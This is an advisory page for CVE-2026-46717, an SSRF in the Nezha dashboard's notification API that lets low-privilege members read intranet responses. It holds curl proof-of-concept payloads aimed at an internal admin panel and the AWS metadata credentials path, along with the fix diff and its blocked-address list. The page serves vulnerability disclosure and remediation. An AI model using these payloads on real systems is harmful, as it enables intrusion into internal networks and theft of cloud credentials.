VYPR
High severity8.5NVD Advisory· Published May 23, 2026· Updated May 23, 2026

Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification

CVE-2026-46717

Description

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer " \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response: ``json {"success":false,"error":"401@Unauthorized "} ``

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer " \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. **Switch /notification routes to adminHandler.** Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.
   auth.POST("/notification", adminHandler(createNotification))
   auth.PATCH("/notification/:id", adminHandler(updateNotification))
   

2. **SSRF-harden NotificationServerBundle.Send():** - Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes.

  1. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
  1. **Reconsider VerifyTLS=false toggle on RoleMember-reachable paths** — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Low-privilege RoleMember can SSRF and read intranet HTTP responses via notification API due to missing admin check.

Vulnerability

The dashboard's notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are bound to commonHandler instead of adminHandler, allowing a RoleMember (Role==1) user to create and update notifications. These handlers call Send() which makes an HTTP request to a user-controlled URL and, on non-2xx responses, reflects the entire response body back to the caller with no size limit. Affected versions include commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master. [1][2]

Exploitation

An attacker with a valid RoleMember account can craft a notification with a URL pointing to an internal service (e.g., http://10.0.0.1/admin), set SkipCheck: false, and send a request via POST /api/v1/notification. The handler will make the request and, if the response status is non-2xx, return the response body in the error message. The attacker can also use PATCH to modify an existing notification. No additional privileges or user interaction are required. [1][2]

Impact

Successful exploitation allows a low-privileged user to read the HTTP response bodies of internal services accessible from the dashboard server. This can lead to information disclosure, such as reading sensitive data from intranet endpoints (e.g., cloud metadata, internal APIs). The scope is limited to reading response bodies; direct write or code execution is not achieved. [1][2]

Mitigation

The fix is contained in commit d06d539d34c143d842b91e2a64326e8c8f9bc405 [3], which restricts outbound requests by blocking private and reserved IP ranges via notificationBlockedCIDRs, and also modifies the HTTP client accordingly. Users should update to a version that includes this commit. No workaround is available; updating is the recommended mitigation. [3]

AI Insight generated on May 23, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1
  • nezha/dashboardllm-create
    Range: <= 50dc8e660326b9f22990898142c58b7a5312b42a

Patches

1
d06d539d34c1

fix(notification): harden webhook request handling

https://github.com/nezhahq/nezhanaibaMay 10, 2026via ghsa-ref
2 files changed · +211 9
  • model/notification.go+143 9 modified
    @@ -1,10 +1,14 @@
     package model
     
     import (
    +	"context"
    +	"crypto/tls"
     	"errors"
     	"fmt"
     	"io"
    +	"net"
     	"net/http"
    +	"net/netip"
     	"net/url"
     	"strings"
     	"time"
    @@ -25,6 +29,35 @@ const (
     	NotificationRequestMethodPOST
     )
     
    +var errNotificationURLNotAllowed = errors.New("notification URL target is not allowed")
    +
    +var notificationBlockedCIDRs = mustParseNotificationCIDRs([]string{
    +	"0.0.0.0/8",
    +	"10.0.0.0/8",
    +	"100.64.0.0/10",
    +	"127.0.0.0/8",
    +	"169.254.0.0/16",
    +	"172.16.0.0/12",
    +	"192.0.0.0/24",
    +	"192.0.2.0/24",
    +	"192.168.0.0/16",
    +	"198.18.0.0/15",
    +	"198.51.100.0/24",
    +	"203.0.113.0/24",
    +	"224.0.0.0/4",
    +	"240.0.0.0/4",
    +	"::/128",
    +	"::1/128",
    +	"::ffff:0:0/96",
    +	"64:ff9b::/96",
    +	"100::/64",
    +	"2001::/23",
    +	"2001:db8::/32",
    +	"fc00::/7",
    +	"fe80::/10",
    +	"ff00::/8",
    +})
    +
     type NotificationServerBundle struct {
     	Notification *Notification
     	Server       *Server
    @@ -111,13 +144,8 @@ func (n *Notification) setRequestHeader(req *http.Request) error {
     }
     
     func (ns *NotificationServerBundle) Send(message string) error {
    -	var client *http.Client
     	n := ns.Notification
    -	if n.VerifyTLS != nil && *n.VerifyTLS {
    -		client = utils.HttpClient
    -	} else {
    -		client = utils.HttpClientSkipTlsVerify
    -	}
    +	verifyTLS := n.VerifyTLS != nil && *n.VerifyTLS
     
     	reqBody, err := ns.reqBody(message)
     	if err != nil {
    @@ -129,7 +157,13 @@ func (ns *NotificationServerBundle) Send(message string) error {
     		return err
     	}
     
    -	req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    +	reqURL := ns.reqURL(message)
    +	client, err := newNotificationHTTPClient(reqURL, verifyTLS)
    +	if err != nil {
    +		return err
    +	}
    +
    +	req, err := http.NewRequest(reqMethod, reqURL, strings.NewReader(reqBody))
     	if err != nil {
     		return err
     	}
    @@ -149,15 +183,115 @@ func (ns *NotificationServerBundle) Send(message string) error {
     	}()
     
     	if resp.StatusCode < 200 || resp.StatusCode > 299 {
    -		body, _ := io.ReadAll(resp.Body)
    -		return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    +		return notificationResponseError(resp)
     	} else {
     		_, _ = io.Copy(io.Discard, resp.Body)
     	}
     
     	return nil
     }
     
    +func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) {
    +	parsedURL, ip, err := resolveNotificationTarget(rawURL)
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	port := parsedURL.Port()
    +	if port == "" {
    +		if parsedURL.Scheme == "https" {
    +			port = "443"
    +		} else {
    +			port = "80"
    +		}
    +	}
    +	targetAddress := net.JoinHostPort(ip.String(), port)
    +	dialer := &net.Dialer{}
    +
    +	return &http.Client{
    +		Transport: &http.Transport{
    +			DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
    +				return dialer.DialContext(ctx, network, targetAddress)
    +			},
    +			TLSClientConfig: &tls.Config{InsecureSkipVerify: !verifyTLS, ServerName: parsedURL.Hostname()},
    +		},
    +		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    +			return http.ErrUseLastResponse
    +		},
    +		Timeout: time.Minute * 10,
    +	}, nil
    +}
    +
    +func notificationResponseError(resp *http.Response) error {
    +	_, _ = io.CopyN(io.Discard, resp.Body, 4096)
    +	return fmt.Errorf("%d@%s", resp.StatusCode, resp.Status)
    +}
    +
    +func resolveNotificationTarget(rawURL string) (*url.URL, net.IP, error) {
    +	parsedURL, err := url.Parse(rawURL)
    +	if err != nil {
    +		return nil, nil, err
    +	}
    +	if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
    +		return nil, nil, errNotificationURLNotAllowed
    +	}
    +
    +	host := parsedURL.Hostname()
    +	if host == "" {
    +		return nil, nil, errNotificationURLNotAllowed
    +	}
    +	if ip := net.ParseIP(host); ip != nil {
    +		if !notificationIPAllowed(ip) {
    +			return nil, nil, errNotificationURLNotAllowed
    +		}
    +		return parsedURL, ip, nil
    +	}
    +
    +	ips, err := net.LookupIP(host)
    +	if err != nil {
    +		return nil, nil, err
    +	}
    +	if len(ips) == 0 {
    +		return nil, nil, errNotificationURLNotAllowed
    +	}
    +	for _, ip := range ips {
    +		if !notificationIPAllowed(ip) {
    +			return nil, nil, errNotificationURLNotAllowed
    +		}
    +	}
    +
    +	return parsedURL, ips[0], nil
    +}
    +
    +func notificationIPAllowed(ip net.IP) bool {
    +	parsedIP, ok := netipFromIP(ip)
    +	if !ok {
    +		return false
    +	}
    +	for _, cidr := range notificationBlockedCIDRs {
    +		if cidr.Contains(parsedIP) {
    +			return false
    +		}
    +	}
    +	return parsedIP.IsGlobalUnicast()
    +}
    +
    +func netipFromIP(ip net.IP) (netip.Addr, bool) {
    +	parsedIP, ok := netip.AddrFromSlice(ip)
    +	if !ok {
    +		return netip.Addr{}, false
    +	}
    +	return parsedIP.Unmap(), true
    +}
    +
    +func mustParseNotificationCIDRs(cidrs []string) []netip.Prefix {
    +	prefixes := make([]netip.Prefix, 0, len(cidrs))
    +	for _, cidr := range cidrs {
    +		prefixes = append(prefixes, netip.MustParsePrefix(cidr))
    +	}
    +	return prefixes
    +}
    +
     // replaceParamInString 替换字符串中的占位符
     func (ns *NotificationServerBundle) replaceParamsInString(str string, message string, mod func(string) string) string {
     	if mod == nil {
    
  • model/notification_test.go+68 0 modified
    @@ -1,6 +1,7 @@
     package model
     
     import (
    +	"io"
     	"net/http"
     	"strings"
     	"testing"
    @@ -234,3 +235,70 @@ func TestNotification(t *testing.T) {
     		execCase(t, c)
     	}
     }
    +
    +func TestNotificationResponseErrorDoesNotReflectNonSuccessResponseBody(t *testing.T) {
    +	const internalResponseBody = "internal service says token=secret"
    +
    +	resp := &http.Response{
    +		StatusCode: http.StatusTeapot,
    +		Status:     "418 I'm a teapot",
    +		Body:       io.NopCloser(strings.NewReader(internalResponseBody)),
    +	}
    +
    +	err := notificationResponseError(resp)
    +	if strings.Contains(err.Error(), internalResponseBody) {
    +		t.Fatalf("expected upstream response body to be hidden from error, got %q", err.Error())
    +	}
    +}
    +
    +func TestNotificationSendRejectsLoopbackTarget(t *testing.T) {
    +	verifyTLS := true
    +	notification := &Notification{
    +		URL:           "http://127.0.0.1/internal",
    +		RequestMethod: NotificationRequestMethodGET,
    +		VerifyTLS:     &verifyTLS,
    +	}
    +
    +	bundle := NotificationServerBundle{
    +		Notification: notification,
    +		Loc:          time.Local,
    +	}
    +
    +	err := bundle.Send("probe")
    +	if err == nil {
    +		t.Fatal("expected loopback notification URL to be rejected")
    +	}
    +	if !strings.Contains(err.Error(), "not allowed") {
    +		t.Fatalf("expected not allowed error, got %q", err.Error())
    +	}
    +}
    +
    +func TestNotificationTargetRejectsSpecialUseAddresses(t *testing.T) {
    +	cases := []string{
    +		"http://100.64.0.1/",         // CGNAT
    +		"http://192.0.2.1/",          // documentation range
    +		"http://[fc00::1]/",          // IPv6 unique local
    +		"http://[2001:db8::1]/",      // IPv6 documentation range
    +		"http://[::ffff:127.0.0.1]/", // IPv4-mapped loopback
    +	}
    +
    +	for _, rawURL := range cases {
    +		if _, _, err := resolveNotificationTarget(rawURL); err == nil {
    +			t.Fatalf("expected %s to be rejected", rawURL)
    +		}
    +	}
    +}
    +
    +func TestNotificationHTTPClientPreservesTLSServerName(t *testing.T) {
    +	client, err := newNotificationHTTPClient("https://example.com/webhook", true)
    +	if err != nil {
    +		t.Fatalf("expected public HTTPS URL to create client: %v", err)
    +	}
    +	transport, ok := client.Transport.(*http.Transport)
    +	if !ok {
    +		t.Fatalf("expected http.Transport, got %T", client.Transport)
    +	}
    +	if transport.TLSClientConfig == nil || transport.TLSClientConfig.ServerName != "example.com" {
    +		t.Fatalf("expected TLS ServerName example.com, got %#v", transport.TLSClientConfig)
    +	}
    +}
    

Vulnerability mechanics

Root cause

"Missing authorization check on notification creation/update routes allows a low-privilege RoleMember user to trigger an SSRF that reflects arbitrary intranet HTTP response bodies without size limits."

Attack vector

An attacker with a valid RoleMember JWT sends a POST or PATCH request to `/api/v1/notification` with a JSON body containing a user-controlled `url` field pointing to an intranet resource (e.g., `http://192.168.1.1/admin`). The handler calls `NotificationServerBundle.Send()`, which makes a synchronous HTTP request to that URL. When the response status code is non-2xx, the entire response body is read via unbounded `io.ReadAll` and concatenated into an error string. That error string is reflected back to the caller in the JSON response body. Because the route uses `commonHandler` instead of `adminHandler` [patch_id=1637005], no role check is performed, so any authenticated RoleMember can exploit this.

Affected code

The vulnerable routes are registered in `cmd/dashboard/controller/controller.go` at lines 121-122, where `auth.POST("/notification", commonHandler(createNotification))` and the PATCH variant use `commonHandler` instead of `adminHandler`. The `createNotification` function in `cmd/dashboard/controller/notification.go` (lines 46-83) and `updateNotification` (lines 97-146) call `ns.Send()`. The SSRF sink is `NotificationServerBundle.Send()` in `model/notification.go` (lines 113-159), which reads the full response body with unbounded `io.ReadAll` and reflects it in the error string.

What the fix does

The patch [patch_id=1637005] introduces three hardening layers. First, `resolveNotificationTarget()` parses the URL, validates the scheme is http/https, resolves the hostname via `net.LookupIP`, and checks every resolved IP against a comprehensive blocklist of private, loopback, CGNAT, link-local, documentation, and multicast CIDR ranges. Second, `newNotificationHTTPClient()` pins the dialer to the resolved IP address (closing DNS-rebinding TOCTOU) and disables redirect following via `http.ErrUseLastResponse`. Third, `notificationResponseError()` replaces the unbounded `io.ReadAll` with `io.CopyN(io.Discard, resp.Body, 4096)` and omits the response body from the error message entirely, preventing reflection of intranet content.

Preconditions

  • authAttacker must possess a valid JWT for a RoleMember (Role==1) account.
  • networkAttacker must be able to reach the nezha dashboard API endpoint.
  • inputAttacker must supply a JSON payload with a url field pointing to an intranet resource and skip_check set to false (or omit it).

Generated on May 23, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.